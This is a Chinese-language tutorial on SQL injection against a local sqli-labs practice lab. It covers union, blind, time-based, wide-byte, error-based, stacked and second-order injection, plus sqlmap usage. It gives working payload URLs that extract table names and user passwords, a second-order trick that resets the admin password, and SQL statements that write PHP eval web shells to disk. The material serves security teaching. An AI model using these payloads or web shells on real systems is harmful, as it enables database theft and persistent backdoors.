歸納整理常見SQL隱碼攻擊型別以及原理

2022-05-20 13:00:36
本篇文章給大家帶來了關於的相關知識,其中主要介紹了常見的SQL隱碼攻擊型別的介紹以及原理講解,包括了聯合注入、布林盲注、時間注入、報錯注入等等內容,下面一起來看一下,希望對大家有幫助。

推薦學習:《》

Mysql基礎

Mysql安裝
這裡我們直接使用phpstudy整合環境中的mysql

Mysql常用命令
(1)mysql本地連線

mysql -h localhost -uroot –proot

引數 說明
-h 表示資料庫連線地址,連線本機可不填,直接mysql -uroot -p
-u 表示要登入的使用者
-p 表示使用密碼登入
預設賬/密:root/root
注:登入mysql時,-p後面不能有空格加密碼,但-p空格,後面不加值是可以的

(2)檢視所有資料庫

show databases;

(3)使用資料庫,注意sql語句後面要加分號

use 資料庫名;

(4)檢視當前資料庫中的表

show tables;

(5)檢視表中欄位結構,不爆出內容

describe 表名;

(6)檢視表中所有欄位及內容(前提已經use了資料庫)

select * from 表名;

(7)向指定目錄,如C:\WWW目錄中寫入peak.php一句話木馬

select "<?php @eval($_REQUEST[peak]);?>" into outfile "C:\\WWW\\peak.php";

select 0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e into outfile"C:\\WWW\\peak.php";

注:
要使用兩個\,兩個\到目標伺服器後變為一個\,若使用C:\WWW\peak.php,執行後會在MYSQL\data目錄下生成WWWpeak.php檔案,不是指定目錄
另外,使用Hex編碼時,不要加""了

(8)建立資料庫

create database peak;

(9)刪除資料庫

drop database 庫名;

(10)清空表

delete from 表名;

(11)修改root密碼

mysqladmin -uroot -p password 新密碼

之後輸入原密碼,即會修改成功

(12)查詢當前資料庫所在目錄

select @@basedir;

(13)建立資料庫

CREATE DATABASE [IF NOT EXISTS] <資料庫名>

(14)建立表

CREATE TABLE table_name (column_name column_type);

(15)建立欄位

INSERT INTO users (欄位名) VALUES (「欄位值");

(16)刪除表中資料

DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]

關鍵資訊剖析
(1)information_schema

在MySQL中,把 information_schema 看作是一個資料庫,確切說是資訊資料庫。其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與存取許可權等

(2)information_schema資料庫表常見引數說明:

• SCHEMATA表:提供了當前mysql範例中所有資料庫的資訊。是show databases的結果取之此表。
• TABLES表:提供了關於資料庫中的表的資訊(包括檢視)。詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊。是show tables from schemaname的結果取之此表。
• COLUMNS表:提供了表中的列資訊。詳細表述了某張表的所有列以及每個列的資訊。是show columns from schemaname.tablename的結果取之此表。

sql-labs環境搭建

靶場環境:
https://github.com/Audi-1/sqli-labs

SQL隱碼攻擊原理

什麼是SQL隱碼攻擊?
SQL隱碼攻擊,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL隱碼攻擊漏洞的危害是巨大的,常常會導致整個資料庫被"脫褲"。儘管如此,SQL隱碼攻擊仍是現在最常見的Web漏洞之一

SQL隱碼攻擊步驟
(1)判斷是否存在注入,注入是字元型還是數位型
(2)猜解SQL查詢語句中的欄位數
(3)判斷哪些位置欄位可以注入利用
(4)查詢資料庫(當前使用資料庫或所有資料庫)
(5)查詢指定資料庫中的表
(6)查詢指定表中的欄位名
(7)查詢表中欄位的值

常見SQL隱碼攻擊型別(細分七種型別)

可以將SQL隱碼攻擊分為兩大類:
非盲注和盲注,非盲注就是有報錯回顯,盲注就是沒有報錯回顯

常見的SQL隱碼攻擊方法有:

  • 聯合注入
  • 布林盲注
  • 時間盲注
  • 寬位元組注入
  • 報錯注入
  • 堆疊注入
  • 二次注入

數位型/字元型注入判斷
首先id後面加單引號 檢視是否可能存在sql注入,返回正常,不存在;返回不正常,存在

假設ip/?id=1

數位型,引數沒有被引號包圍:
id=1 and 1=1 返回頁面正常
id=1 and 1=2 返回頁面不正常
id=1’ and ‘1’=‘1 返回頁面不正常
id=1’ and ‘1’=‘2 返回頁面不正常
字元型,引數被引號包圍:
id=1 and 1=1 返回頁面正常或錯誤
id=1 and 1=2 返回頁面正常或錯誤
id=1’ and ‘1’=‘1 返回頁面正常
id=1’ and ‘1’='2 返回頁面不正常
總結出兩種測試方法:
and 1=1正常,1=2不正常,可能存在數位型注入/and 1=1正常或錯誤,1=2正常或錯誤,可能存在字元型注入
’ and ‘1’=‘1不正常,’ and ‘1’=‘2不正常,可能存在數位行注入/’ and ‘1’=‘1正常,’ and ‘1’='2不正常,可能存在字元型注入

0x01:聯合注入

原理
(1)union select定義
將多個SELECT語句的結果合併到一個結果集中
(2)mysql直觀測試

SELECT * FROM users WHERE id='1' union select * from users where id=2;

測試環境
Pass-1

相關函數

  • group_concat(引數1,引數2,引數3等等無數個引數)語法: group_concat函數返回一個字串結果(就是返回一行),該結果由括號中的各個引數值執行然後連線組合而成
  • char():還原ASCII碼為字元

注入過程
1、首先判斷目標是否存在sql注入,是什麼型別的sql注入

http://127.0.0.1/sqli-labs/Less-1/?id=1                       //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1'	          //返回錯誤,可能存在SQL隱碼攻擊
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1        //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2        //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1       //返回錯誤
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2       //返回錯誤

由此可見,$id後面可能還有sql語句
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+ //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+ //返回錯誤
由此可見,目標存在sql注入,並且是字元型,該id變數後面還有其他的sql語句
此時我們看一下原始碼,是否是字元型

2、測試步驟
(1)使用union select猜測目標SQL查詢語句中select後面的欄位數量,同時也測出了目標哪些位置的欄位可以繼續利用

(2)判斷方法:回顯錯誤表示不止當前欄位數,回顯正確表示就是這麼多欄位數
Payload:http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3%23
注:這裡的and 1=2是為了就將正確的id=1不顯示,返回錯誤,顯示後面union select語句的值,因為有時目標網站設定只回顯一條資料庫語句,容易造成判斷失誤
結果:這裡SQL查詢語句中select後面的欄位數量是3個,2,3欄位可以利用

(3)Payload

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

(4)拓展
還有一種方法,order by判斷欄位數

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 order by 1%23

具體情況具體分析

0x02:布林盲注

原理
Web的頁面的僅僅會返回True和False,那麼布林盲注就是根據頁面返回的True或者是False來得到資料庫中的相關資訊

測試環境
Pass-8

相關函數解析
(1)length:返回值為字串的位元組長度
(2)ascii:把字元轉換成ascii碼值的函數
(3)substr(str, pos, len):在str中從pos開始的位置(起始位置為1),擷取len個字元
(4)count:統計表中記錄的一個函數,返回匹配條件的行數
(5)limit:
limit m :檢索前m行資料,顯示1-10行資料(m>0)
limit(x,y):檢索從x+1行開始的y行資料

注入過程
1、判斷資料庫名稱長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database()))=8%23

2、猜解資料庫名

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23

3、判斷資料庫中表的數量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

4、猜解其中第四個表名的長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

5、猜解第四個表名

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
第四個表名為users

6、判斷users表中欄位數量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23

7、判斷第二個欄位長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23

8、猜解第二個欄位名稱

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23
...
第二個欄位名稱為username
注:substr(引數1,引數2,引數3),引數2中0和1都可表示從第一位字元開始,但這裡只可以用1,0不可以,可能和資料庫版本有關

9、猜解指定欄位中值的數量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(username)from users)=13%23

10、猜解第一個欄位中第一個值的長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select username from users limit 0,1))=4%23

11、猜解第一個欄位中第一個值的名稱

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23
...
最後的值為Dumb

0x03:時間盲注

原理
時間盲注的一般思路是延遲注入,就是利用sleep()或benchmark()等函數讓mysql執行時間變長並結合判斷條件語句if(expr1,expr2,expr3),然後通過頁面的響應時間長短來判斷語句返回的值是True還是False,從而猜解一些未知的欄位

測試環境
Less-9

相關函數
if(expr1,expr2,expr3): expr1的值為TRUE,則返回值為expr2 ;expr1的值為FALSE,則返回值為expr3
sleep(n):延遲響應時間n秒

Payload

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

0x04:寬位元組注入

原理
當存在寬位元組注入的時候,注入引數裡帶入%df%27,即可把(%5c)吃掉,也就是%df和%5c結合成了漢字運

測試環境
Pass-32

Payload

http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2,3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

0x05:報錯注入

原理
報錯注入是通過特殊函數錯誤使用並使其輸出錯誤結果來獲取資訊的。

測試環境
Pass-5

相關函數

concat()函數:用於將多個字串連線成一個字串
floor(x) 函數:返回小於 x 的最大整數值
rand()函數調:用可以在0和1之間產生一個亂數
group by語句:根據一個或多個列對結果集進行分組
updatexml(目標xml檔案,xml路徑,更新的內容):更新xml檔案的函數,xpath_expr: 需要更新的xml路徑(Xpath格式)
new_xml: 更新後的內容
此函數用來更新選定XML片段的內容,將XML標記的給定片段的單個部分替換為 xml_target 新的XML片段 new_xml ,然後返回更改的XML。xml_target替換的部分 與xpath_expr 使用者提供的XPath表示式匹配。
extractvalue(目標xml檔案,xml路徑):對XML檔案進行查詢的函數,一個XML標記片段 xml_frag和一個XPath表示式 xpath_expr(也稱為 定位器); 它返回CDATA第一個文位元組點的text(),該節點是XPath表示式匹配的元素的子元素。第一個引數可以傳入目標xml檔案,第二個引數是用Xpath路徑法表示的查詢路徑,第二個引數 xml中的位置是可操作的地方,xml檔案中查詢字元位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容

參考
https://blog.51cto.com/wt7315/1891458

0x05-1:floor報錯注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

0x05-2:updatexml報錯注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23

0x05-3:extractvalue報錯注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23

0x06:堆疊注入

原理
堆疊注入與受限於select語句的聯合查詢法相反,堆疊注入可用於執行任意SQL語句。簡單地說就是MYSQL的多語句查詢
堆疊注入的侷限性:堆疊注入並不是在任何換環境下都可以執行的,可能受到API或者資料庫引擎不支援的限制(如Oracle資料庫),也有可能許可權不足。web系統中,因為程式碼通常只返回一個查詢結果,因此堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端介面是無法看到返回結果的。

測試環境
Pass-38

Payload

http://127.0.0.1/sqli-labs/Less-38/?id=1';create database peak%23

0x07:二次注入

原理
二次注入可以理解為,攻擊者構造的惡意資料儲存在資料庫後,惡意資料被讀取並進入到SQL查詢語句所導致的注入。防禦者可能在使用者輸入惡意資料時對其中的特殊字元進行了跳脫處理,但在惡意資料插入到資料庫時被處理的資料又被還原並儲存在資料庫中(比如雖然引數在過濾後會新增"「進行跳脫,但是」"並不會插入到資料庫中),當Web程式呼叫儲存在資料庫中的惡意資料並執行SQL查詢時,就發生了SQL二次注入。
二次注入,可以概括為以下兩步:

第一步:插入惡意資料
進行資料庫插入資料時,對其中的特殊字元進行了跳脫處理,在寫入資料庫的時候又保留了原來的資料。

第二步:參照惡意資料
開發者預設存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗的處理。

在這裡插入圖片描述
測試環境
Pass-24

Payload
(1)先建立一個含有註釋符的使用者 amin’#
(2)看下資料庫,成功新增了記錄
(3)原始碼sql語句分析:

原SQL語句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
修改密碼sql語句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
最後真正執行的sql語句:UPDATE users SET PASSWORD=‘$pass’ where username='admin'

(4)最後修改admin’#的密碼
(5)成功修改admin的密碼

SQL隱碼攻擊-檔案讀寫

原理
利用檔案的讀寫許可權進行注入,它可以寫入一句話木馬,也可以讀取系統檔案的敏感資訊

利用條件
secure_file_priv這個引數用來限制資料匯入和匯出
secure_file_priv=
代表對檔案讀寫沒有限制
secure_file_priv=NULL
代表不能進行檔案讀寫
secure_file_priv=F:
代表只能對該路徑下檔案進行讀寫

檢視方法:show global variables like ‘%secure%’;
修改方法:my.ini函數,沒有的話就直接新增

相關函數
load_file():讀取檔案
into outfile:寫入檔案

測試環境
Pass-1

讀檔案
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:\1.txt’),3%23

寫檔案
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’<?php @eval($_POST["cmd"]);?>’,3 into outfile ‘F:\2.php’%23

sqlmap常見引數

sqlmap下載地址
http://sqlmap.org/

常用引數

-u:指定含有引數的URL
--dbs:爆出資料庫
--batch:預設選擇執行
--random-agent:使用隨機user-agent
-r:POST注入
--level:注入等級,一共有5個等級(1-5) 不加 level 時,預設是1,5級包含的payload最多,會自動破解出cookie、XFF等頭部注入,相對應他的速度也比較慢
--timeout:設定重試超時
--cookie:設定cookie資訊
--flush-session:刪除指定目標快取,重新對該目標進行測試
--tamper:使用waf繞過指令碼
--time-sec:設定延時時間,預設是5秒
--thread:多執行緒,預設為1,最大為10
--keep-live: sqlmap預設是一次連線成功後馬上關閉;HTTP報文中相當於Connection: Close(一次連線馬上關閉)。要掃描站點的URL比較多時,這樣比較耗費效能,所以需要將HTTP連線持久化來提高掃描效能;HTTP報文相當於Connection: Keep-Alive

範例

py -3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --dbs --random-agent --batch

推薦學習:《》

以上就是歸納整理常見SQL隱碼攻擊型別以及原理的詳細內容,更多請關注TW511.COM其它相關文章!